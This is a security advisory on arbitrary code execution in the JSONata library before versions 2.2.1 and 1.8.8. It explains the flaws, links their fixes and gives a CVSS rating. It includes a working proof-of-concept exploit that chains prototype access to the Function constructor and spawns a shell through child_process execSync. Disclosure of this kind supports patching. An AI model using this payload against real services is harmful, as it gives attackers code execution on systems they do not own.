JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to: - overwriting `$clone` allowing mutation of objects via transforms (see [`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314)) - it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`) - [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675) using `proc.arguments.forEach` and not `Array.prototype.forEach` Which could be chained to execute arbitrary code. This was fixed with: - https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/pull/802 Which are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.*)[1]; $fn := function($a) { ( $a({"value":"lg"},"__lookupGetter__"); $a({"value":"x"},"x"); ) }; $nop := function() { $ }; $capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | }; $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|; $func := $m([$,{"_jsonata_lambda":true}]); $func(); $gP := $obj.lg("__proto__"); $afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()}; ) `); await expression.evaluate({}); ``` ## References - https://github.com/jsonata-js/jsonata/pull/799 - https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 - https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc - https://github.com/jsonata-js/jsonata/pull/802 - https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04

Source published

21 Aug 2026 21:04:19 UTC

Source modified

21 Aug 2026 21:25:57 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · CRITICAL